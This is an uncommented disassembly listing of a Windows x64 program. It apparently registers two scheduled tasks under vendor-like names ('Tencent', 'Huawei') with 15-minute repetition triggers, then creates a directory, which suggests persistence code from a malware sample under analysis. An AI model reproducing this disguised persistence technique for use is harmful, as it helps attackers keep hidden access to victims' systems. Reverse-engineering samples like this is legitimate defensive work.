movsd qword [rbp + 0x170], xmm0
movups xmm0, xmmword [rbp + 0xb0]
movaps xmmword [rbp + 0x300], xmm0
call qword [rax + 0x50]
lea rcx, [rbp + 0xb0]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea rcx, [rbp + 0x80]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea rcx, [rbp + 0x98]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea rcx, [rbp + 0x68]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea rcx, [rbp + 0x140]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
movups xmm0, xmmword [rbp + 0x140]
lea rcx, [rbp + 0x38]
movups xmmword [rbp - 0x68], xmm0
movsd xmm0, qword [rbp + 0x150]
movsd qword [rsp + 0x68], xmm0
call qword [sym.imp.OLEAUT32.dll_VariantClear]
movups xmm0, xmmword [rbp + 0x38]
lea rcx, [rbp + 0x50]
movups xmmword [rbp - 0x78], xmm0
movsd xmm0, qword [rbp + 0x48]
movsd qword [rsp + 0x70], xmm0
call qword [sym.imp.OLEAUT32.dll_VariantClear]
movups xmm0, xmmword [rbp + 0x50]
lea rcx, [rbp + 0xc8]
movups xmmword [rsp + 0x58], xmm0
movsd xmm0, qword [rbp + 0x60]
movsd qword [rsp + 0x78], xmm0
call qword [sym.imp.OLEAUT32.dll_VariantClear]
movups xmm0, xmmword [rbp - 0x68]
mov rcx, qword [rbp + 0x340]
lea rdx, [rbp + 0x2e0]
movsd xmm1, qword [rbp + 0xd8]
lea r9, [rbp + 0x2c0]
movaps xmmword [rbp + 0x2e0], xmm0
lea r8, [rbp + 0x2a0]
movsd xmm0, qword [rsp + 0x68]
mov rax, qword [rcx]
movsd qword [rbp + 0x2f0], xmm0
movups xmm0, xmmword [rbp - 0x78]
mov qword [rsp + 0x20], rdx
lea rdx, [rbp + 0x1c0]
movsd qword [rbp + 0x1d0], xmm1
movaps xmmword [rbp + 0x2c0], xmm0
movsd xmm0, qword [rsp + 0x70]
movsd qword [rbp + 0x2d0], xmm0
movups xmm0, xmmword [rsp + 0x58]
movaps xmmword [rbp + 0x2a0], xmm0
movsd xmm0, qword [rsp + 0x78]
movsd qword [rbp + 0x2b0], xmm0
movups xmm0, xmmword [rbp + 0xc8]
movaps xmmword [rbp + 0x1c0], xmm0
call qword [rax + 0x50]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea rcx, [rbp + 0x50]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea rcx, [rbp + 0x38]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea rcx, [rbp + 0x140]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea ecx, [r14 + 0x18]
mov qword [rbp + 0x360], r14
mov qword [rbp + 0x368], r14
call fcn.1400309c4
mov rbx, rax
test rax, rax
je 0x1400060fa
mov qword [rax], r14
lea rcx, [0x1400666a4]
mov qword [rax + 0x10], 1
mov qword [rax + 8], r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x1400060fa
mov rcx, qword [rbp + 0x348]
lea r8, [rbp + 0x360]
mov rdx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 0x38]
mov eax, r12d
mov rdi, r12
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x140004167
mov rcx, qword [rbx]
test rcx, rcx
je 0x140004148
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r14
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14000415a
call fcn.140030720
mov qword [rbx + 8], r14
mov edx, 0x18
mov rcx, rbx
call fcn.140030720
mov ecx, 0x18
call fcn.1400309c4
mov rbx, rax
test rax, rax
je 0x1400060fa
mov qword [rax], r14
lea rcx, [0x1400666a4]
mov qword [rax + 0x10], 1
mov qword [rax + 8], r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x1400060fa
mov rcx, qword [rbp + 0x340]
lea r8, [rbp + 0x368]
mov rdx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 0x38]
mov eax, edi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x1400041f8
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400041d9
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r14
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x1400041eb
call fcn.140030720
mov qword [rbx + 8], r14
mov edx, 0x18
mov rcx, rbx
call fcn.140030720
mov ecx, 0x18
call fcn.1400309c4
mov rbx, rax
test rax, rax
je 0x1400060fa
mov qword [rax], r14
mov r12, qword [rbp - 0x40]
mov rcx, r12
mov qword [rax + 0x10], 1
mov qword [rax + 8], r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jne 0x14000423b
test r12, r12
jne 0x1400060fa
mov rcx, qword [rbp + 0x360]
xor r8d, r8d
mov rdx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 0x78]
mov eax, edi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x14000428a
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000426b
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r14
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14000427d
call fcn.140030720
mov qword [rbx + 8], r14
mov edx, 0x18
mov rcx, rbx
call fcn.140030720
mov ecx, 0x18
call fcn.1400309c4
mov rbx, rax
test rax, rax
je 0x1400060fa
mov qword [rax], r14
mov r13, qword [rbp - 0x48]
mov rcx, r13
mov qword [rax + 0x10], 1
mov qword [rax + 8], r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jne 0x1400042cd
test r13, r13
jne 0x1400060fa
mov rcx, qword [rbp + 0x368]
xor r8d, r8d
mov rdx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 0x78]
mov eax, edi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x14000431c
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400042fd
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r14
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14000430f
call fcn.140030720
mov qword [rbx + 8], r14
mov edx, 0x18
mov rcx, rbx
call fcn.140030720
mov rcx, qword [rbp + 0x348]
lea r8, [rbp + 0x328]
mov qword [rbp + 0x328], r14
xor edx, edx
mov qword [rbp + 0x320], r14
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x340]
lea r8, [rbp + 0x320]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x348]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x340]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x328]
lea rdx, [rbp + 0x3b0]
mov qword [rbp + 0x3b0], r14
mov qword [rbp + 0x3b8], r14
mov rax, qword [rcx]
call qword [rax + 0x38]
mov rcx, qword [rbp + 0x320]
lea rdx, [rbp + 0x3b8]
mov rax, qword [rcx]
call qword [rax + 0x38]
movabs rax, 0x746e65636e6554
mov dword [rsp + 0x28], r14d
mov r9d, edi
mov qword [rbp + 0xa20], rax
lea r8, [rbp + 0xa20]
mov qword [rsp + 0x20], r14
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rdi
mov rcx, rax
call fcn.140030c40
mov r9d, edi
mov dword [rsp + 0x28], ebx
lea r8, [rbp + 0xa20]
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0xfde9
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [str.Huawei]
lea r8, [rbp + 0xa08]
mov dword [rbp + 0xa08], ecx
mov r9d, edi
movzx ecx, word [0x1400666c0]
xor edx, edx
mov word [rbp + 0xa0c], cx
movzx ecx, byte [0x1400666c2]
mov byte [rbp + 0xa0e], cl
mov ecx, 0xfde9
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rdi
mov rcx, rax
call fcn.140030c40
mov r9, 0xffffffffffffffff
mov dword [rsp + 0x28], ebx
lea r8, [rbp + 0xa08]
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0xfde9
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, qword [rbp + 0x3b0]
mov rdx, rsi
mov r8, qword [rcx]
call qword [r8 + 0x50]
mov rcx, qword [rbp + 0x3b0]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
mov rcx, qword [rbp + 0x3b8]
mov rdx, rdi
mov rax, qword [rcx]
call qword [rax + 0x50]
mov rcx, qword [rbp + 0x3b8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x328]
lea rdx, [rbp + 0x398]
mov qword [rbp + 0x398], r14
mov qword [rbp + 0x3c0], r14
mov rax, qword [rcx]
call qword [rax + 0x58]
mov rcx, qword [rbp + 0x320]
lea rdx, [rbp + 0x3c0]
mov rax, qword [rcx]
call qword [rax + 0x58]
mov rcx, qword [rbp + 0x398]
mov rsi, 0xffffffffffffffff
mov edx, esi
mov rax, qword [rcx]
call qword [rax + 0xb0]
mov rcx, qword [rbp + 0x398]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x3c0]
mov edx, esi
mov rax, qword [rcx]
call qword [rax + 0xb0]
mov rcx, qword [rbp + 0x3c0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x328]
lea rdx, [rbp + 0x3c8]
mov qword [rbp + 0x3c8], r14
mov qword [rbp + 0x3d0], r14
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x320]
lea rdx, [rbp + 0x3d0]
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x3c8]
lea r8, [rbp + 0x338]
mov qword [rbp + 0x338], r14
lea edx, [rsi + 8]
mov rax, qword [rcx]
call qword [rax + 0x50]
mov rcx, qword [rbp + 0x3c8]
mov rax, qword [rcx]
call qword [rax + 0x10]
lea ecx, [rsi + 0x19]
call fcn.1400309c4
mov rbx, rax
test rax, rax
je 0x1400060fa
mov qword [rax], r14
lea rcx, str.TriggerID
mov qword [rax + 0x10], 1
mov qword [rax + 8], r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x1400060fa
mov rcx, qword [rbp + 0x338]
mov rdx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 0x48]
mov eax, esi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x140004637
mov rcx, qword [rbx]
test rcx, rcx
je 0x140004618
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r14
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14000462a
call fcn.140030720
mov qword [rbx + 8], r14
mov edx, 0x18
mov rcx, rbx
call fcn.140030720
mov rcx, qword [rbp + 0x3d0]
lea r8, [rbp + 0x330]
mov qword [rbp + 0x330], r14
mov edx, 7
mov rax, qword [rcx]
call qword [rax + 0x50]
mov rcx, qword [rbp + 0x3d0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 0x18
call fcn.1400309c4
mov rbx, rax
test rax, rax
je 0x1400060fa
mov qword [rax], r14
lea rcx, str.TriggerID
mov qword [rax + 0x10], 1
mov qword [rax + 8], r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x1400060fa
mov rcx, qword [rbp + 0x330]
mov rdx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 0x48]
mov eax, esi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x1400046ee
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400046cf
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r14
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x1400046e1
call fcn.140030720
mov qword [rbx + 8], r14
mov edx, 0x18
mov rcx, rbx
call fcn.140030720
mov rcx, qword [rbp + 0x338]
lea rdx, [rbp + 0x378]
mov qword [rbp + 0x378], r14
mov rax, qword [rcx]
call qword [rax + 0x50]
mov ecx, 0x18
call fcn.1400309c4
mov rbx, rax
test rax, rax
je 0x1400060fa
mov qword [rax], r14
lea rcx, str.PT15M
mov qword [rax + 0x10], 1
mov qword [rax + 8], r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x1400060fa
mov rcx, qword [rbp + 0x378]
mov rdx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 0x40]
mov eax, esi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x140004793
mov rcx, qword [rbx]
test rcx, rcx
je 0x140004774
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r14
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140004786
call fcn.140030720
mov qword [rbx + 8], r14
mov edx, 0x18
mov rcx, rbx
call fcn.140030720
mov rcx, qword [rbp + 0x338]
mov rdx, qword [rbp + 0x378]
mov rax, qword [rcx]
call qword [rax + 0x58]
mov rcx, qword [rbp + 0x378]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x330]
lea rdx, [rbp + 0x370]
mov qword [rbp + 0x370], r14
mov rax, qword [rcx]
call qword [rax + 0x50]
mov ecx, 0x18
call fcn.1400309c4
mov rbx, rax
test rax, rax
je 0x1400060fa
mov qword [rax], r14
lea rcx, str.PT15M
mov qword [rax + 0x10], 1
mov qword [rax + 8], r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x1400060fa
mov rcx, qword [rbp + 0x370]
mov rdx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 0x40]
mov eax, esi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x140004859
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000483a
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r14
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14000484c
call fcn.140030720
mov qword [rbx + 8], r14
mov edx, 0x18
mov rcx, rbx
call fcn.140030720
mov rcx, qword [rbp + 0x330]
mov rdx, qword [rbp + 0x370]
mov rax, qword [rcx]
call qword [rax + 0x58]
mov rcx, qword [rbp + 0x370]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x338]
lea r8, [rbp + 0x350]
mov qword [rbp + 0x350], r14
lea rdx, [0x14005cb28]
mov rax, qword [rcx]
call qword [rax]
mov rcx, qword [rbp + 0x338]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 0x18
call fcn.1400309c4
mov rbx, rax
test rax, rax
je 0x1400060fa
mov qword [rax], r14
lea rcx, str.Trigger1
mov qword [rax + 0x10], 1
mov qword [rax + 8], r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x1400060fa
mov rcx, qword [rbp + 0x350]
mov rdx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 0x48]
mov eax, esi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x140004932
mov rcx, qword [rbx]
test rcx, rcx
je 0x140004913
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r14
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140004925
call fcn.140030720
mov qword [rbx + 8], r14
mov edx, 0x18
mov rcx, rbx
call fcn.140030720
mov rcx, qword [rbp + 0x330]
lea r8, [rbp + 0x358]
mov qword [rbp + 0x358], r14
lea rdx, [0x14005cb28]
mov rax, qword [rcx]
call qword [rax]
mov rcx, qword [rbp + 0x330]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 0x18
call fcn.1400309c4
mov rbx, rax
test rax, rax
je 0x1400060fa
mov qword [rax], r14
lea rcx, str.Trigger2
mov qword [rax + 0x10], 1
mov qword [rax + 8], r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x1400060fa
mov rcx, qword [rbp + 0x358]
mov rdx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 0x48]
mov eax, esi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x1400049ea
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400049cb
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r14
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x1400049dd
call fcn.140030720
mov qword [rbx + 8], r14
mov edx, 0x18
mov rcx, rbx
call fcn.140030720
mov eax, dword [str.PT60S]
lea r8, [rbp + 0xa18]
mov dword [rbp + 0xa18], eax
mov r9d, esi
movzx eax, word [0x140066720]
xor edx, edx
mov dword [rsp + 0x28], r14d
mov ecx, 0xfde9
mov word [rbp + 0xa1c], ax
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.140030c40
mov r9d, esi
mov dword [rsp + 0x28], ebx
lea r8, [rbp + 0xa18]
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0xfde9
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, qword [rbp + 0x350]
mov rdx, rdi
mov r8, qword [rcx]
call qword [r8 + 0xa8]
mov rcx, qword [rbp + 0x350]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov eax, dword [str.PT60S]
lea r8, [rbp + 0xa10]
mov dword [rbp + 0xa10], eax
mov r9d, esi
movzx eax, word [0x140066720]
xor edx, edx
mov dword [rsp + 0x28], r14d
mov ecx, 0xfde9
mov word [rbp + 0xa14], ax
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.140030c40
mov r9d, esi
mov dword [rsp + 0x28], ebx
lea r8, [rbp + 0xa10]
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0xfde9
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov rcx, qword [rbp + 0x358]
mov rdx, rdi
mov r8, qword [rcx]
call qword [r8 + 0xa8]
mov rcx, qword [rbp + 0x358]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x328]
lea rdx, [rbp + 0x3d8]
mov qword [rbp + 0x3d8], r14
mov qword [rbp + 0x380], r14
mov rax, qword [rcx]
call qword [rax + 0x88]
mov rcx, qword [rbp + 0x320]
lea rdx, [rbp + 0x380]
mov rax, qword [rcx]
call qword [rax + 0x88]
mov rcx, qword [rbp + 0x3d8]
lea r8, [rbp + 0x3a8]
mov qword [rbp + 0x3a8], r14
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x60]
mov rcx, qword [rbp + 0x3d8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x380]
lea r8, [rbp + 0x3a0]
mov qword [rbp + 0x390], r14
xor edx, edx
mov qword [rbp + 0x3a0], r14
mov rax, qword [rcx]
call qword [rax + 0x60]
mov rcx, qword [rbp + 0x380]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x3a8]
lea r8, [rbp + 0x390]
mov qword [rbp + 0x388], r14
lea rdx, str.MbLk
mov rax, qword [rcx]
call qword [rax]
mov rcx, qword [rbp + 0x3a8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x3a0]
lea r8, [rbp + 0x388]
lea rdx, str.MbLk
mov rax, qword [rcx]
call qword [rax]
mov rcx, qword [rbp + 0x3a0]
mov rax, qword [rcx]
call qword [rax + 0x10]
cmp qword [rbp + 0x660], 7
lea rdi, [rbp + 0x648]
mov ecx, 0x18
cmova rdi, qword [rbp + 0x648]
call fcn.1400309c4
mov rbx, rax
test rax, rax
je 0x1400060fa
mov qword [rax], r14
mov rcx, rdi
mov qword [rax + 0x10], 1
mov qword [rax + 8], r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jne 0x140004c58
test rdi, rdi
jne 0x1400060fa
mov rcx, qword [rbp + 0x390]
mov rdx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 0x58]
mov eax, esi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x140004ca4
mov rcx, qword [rbx]
test rcx, rcx
je 0x140004c85
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r14
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140004c97
call fcn.140030720
mov qword [rbx + 8], r14
mov edx, 0x18
mov rcx, rbx
call fcn.140030720
mov rcx, qword [rbp + 0x390]
mov rax, qword [rcx]
call qword [rax + 0x10]
cmp qword [rbp + 0x640], 7
lea rdi, [rbp + 0x628]
mov ecx, 0x18
cmova rdi, qword [rbp + 0x628]
call fcn.1400309c4
mov rbx, rax
test rax, rax
je 0x1400060fa
mov qword [rax], r14
mov rcx, rdi
mov qword [rax + 0x10], 1
mov qword [rax + 8], r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jne 0x140004d07
test rdi, rdi
jne 0x1400060fa
mov rcx, qword [rbp + 0x388]
mov rdx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 0x58]
mov eax, esi
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x140004d53
mov rcx, qword [rbx]
test rcx, rcx
je 0x140004d34
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r14
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140004d46
call fcn.140030720
mov qword [rbx + 8], r14
mov edx, 0x18
mov rcx, rbx
call fcn.140030720
mov rcx, qword [rbp + 0x388]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov eax, 8
mov qword [rbp + 0x3e0], r14
lea rcx, [0x1400666a0]
mov word [rbp + 8], ax
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbp + 0x10], rax
test rax, rax
je 0x1400060ef
movups xmm0, xmmword [rbp + 8]
lea rcx, [rbp + 0x110]
movups xmmword [rbp - 0x68], xmm0
movsd xmm0, qword [rbp + 0x18]
movsd qword [rbp - 0x48], xmm0
call qword [sym.imp.OLEAUT32.dll_VariantClear]
movups xmm0, xmmword [rbp + 0x110]
lea rcx, [rbp + 0x128]
movups xmmword [rbp - 0x78], xmm0
movsd xmm0, qword [rbp + 0x120]
movsd qword [rbp - 0x40], xmm0
call qword [sym.imp.OLEAUT32.dll_VariantClear]
movups xmm0, xmmword [rbp - 0x68]
mov ecx, 0x18
movsd xmm1, qword [rbp + 0x138]
movaps xmmword [rbp + 0x280], xmm0
movsd xmm0, qword [rbp - 0x48]
movsd qword [rbp + 0x290], xmm0
movups xmm0, xmmword [rbp - 0x78]
movsd qword [rbp + 0x210], xmm1
movaps xmmword [rbp + 0x1e0], xmm0
movsd xmm0, qword [rbp - 0x40]
movsd qword [rbp + 0x1f0], xmm0
movups xmm0, xmmword [rbp + 0x128]
movaps xmmword [rbp + 0x200], xmm0
call fcn.1400309c4
mov rbx, rax
test rax, rax
je 0x1400060ef
mov qword [rax], r14
mov rcx, r12
mov qword [rax + 0x10], 1
mov qword [rax + 8], r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jne 0x140004e5b
test r12, r12
jne 0x1400060ef
mov rcx, qword [rbp + 0x360]
lea rdx, [rbp + 0x3e0]
mov r8, qword [rbp + 0x328]
mov r9d, 6
mov qword [rsp + 0x40], rdx
lea rdx, [rbp + 0x280]
mov qword [rsp + 0x38], rdx
lea rdx, [rbp + 0x1e0]
mov rax, qword [rcx]
mov dword [rsp + 0x30], 3
mov qword [rsp + 0x28], rdx
lea rdx, [rbp + 0x200]
mov qword [rsp + 0x20], rdx
mov rdx, qword [rbx]
call qword [rax + 0x88]
mov edi, eax
mov ecx, esi
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x140004ef1
mov rcx, qword [rbx]
test rcx, rcx
je 0x140004ed2
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r14
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140004ee4
call fcn.140030720
mov qword [rbx + 8], r14
mov edx, 0x18
mov rcx, rbx
call fcn.140030720
lea rcx, [rbp + 0x128]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea rcx, [rbp + 0x110]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
lea rcx, [rbp + 8]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
test edi, edi
js 0x1400055e8
cmp byte [rsp + 0x50], r14b
lea rsi, [rbp + 0x5c8]
mov rdi, qword [rbp + 0x5d8]
xorps xmm0, xmm0
cmovne rsi, qword [rbp + 0x5c8]
movups xmmword [rbp + 0x580], xmm0
cmp rdi, 7
ja 0x140004f69
mov qword [rbp + 0x590], rdi
mov qword [rbp + 0x598], 7
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x580], xmm0
jmp 0x14000501e
mov rbx, rdi
or rbx, 7
cmp rbx, r15
jbe 0x140004f88
movabs rax, 0x7fffffffffffffff
mov rbx, r15
lea rcx, [rax + rax]
jmp 0x140004fb8
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x1400060c0
add rcx, rcx
cmp rcx, 0x1000
jb 0x140004fe7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400060c0
mov rcx, rax
call fcn.1400309c4
mov rcx, rax
test rax, rax
je 0x1400060b4
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140004ff6
test rcx, rcx
je 0x140004ff3
call fcn.1400309c4
jmp 0x140004ff6
mov rax, r14
lea r8, [rdi*2 + 2]
mov qword [rbp + 0x580], rax
mov rdx, rsi
mov qword [rbp + 0x590], rdi
mov rcx, rax
mov qword [rbp + 0x598], rbx
call fcn.140057450
mov rbx, 0xffffffffffffffff
lea rax, [rbp + 0xbb0]
mov r8, rbx
nop
inc r8
cmp word [rax + r8*2], r14w
jne 0x140005030
lea rdx, [rbp + 0xbb0]
lea rcx, [rbp + 0x580]
call fcn.140007330
mov rax, qword [rbp - 0x50]
mov r8, rbx
inc r8
cmp word [rax + r8*2], r14w
jne 0x140005054
mov rdx, rax
lea rcx, [rbp + 0x580]
call fcn.140007330
cmp qword [rbp + 0x598], 7
lea rbx, [rbp + 0x580]
cmova rbx, qword [rbp + 0x580]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140005096
test al, 0x10
jne 0x1400050a1
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp qword [rbp + 0x598], 7
lea rsi, [rbp + 0x580]
mov rdi, qword [rbp + 0x590]
xorps xmm0, xmm0
cmova rsi, qword [rbp + 0x580]
movups xmmword [rbp + 0x540], xmm0
cmp rdi, r15
ja 0x1400060ba
cmp rdi, 7
ja 0x1400050f9
mov qword [rbp + 0x550], rdi
mov qword [rbp + 0x558], 7
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x540], xmm0
jmp 0x1400051ae
mov rbx, rdi
or rbx, 7
cmp rbx, r15
jbe 0x140005118
movabs rax, 0x7fffffffffffffff
mov rbx, r15
lea rcx, [rax + rax]
jmp 0x140005148
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rbx + 1]
cmp rcx, rax
ja 0x1400060c0
add rcx, rcx
cmp rcx, 0x1000
jb 0x140005177
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400060c0
mov rcx, rax
call fcn.1400309c4
mov rcx, rax
test rax, rax
je 0x1400060b4
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140005186
test rcx, rcx
je 0x140005183
call fcn.1400309c4
jmp 0x140005186
mov rax, r14
lea r8, [rdi*2 + 2]
mov qword [rbp + 0x540], rax
mov rdx, rsi
mov qword [rbp + 0x550], rdi
mov rcx, rax
mov qword [rbp + 0x558], rbx
call fcn.140057450
mov rax, qword [rbp - 0x58]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], r14w
jne 0x1400051c0
mov rdx, rax
lea rcx, [rbp + 0x540]
call fcn.140007330
cmp qword [rbp + 0x558], 7
lea r14, [rbp + 0x540]
mov rbx, qword [rbp + 0x550]
cmova r14, qword [rbp + 0x540]
cmp rbx, r15
ja 0x1400060ba
cmp rbx, 7
ja 0x140005227
movups xmm0, xmmword [r14]
mov edi, 7
mov qword [rbp + 0x6f8], rdi
movups xmmword [rbp + 0x6e0], xmm0
movq rsi, xmm0
jmp 0x1400052d4
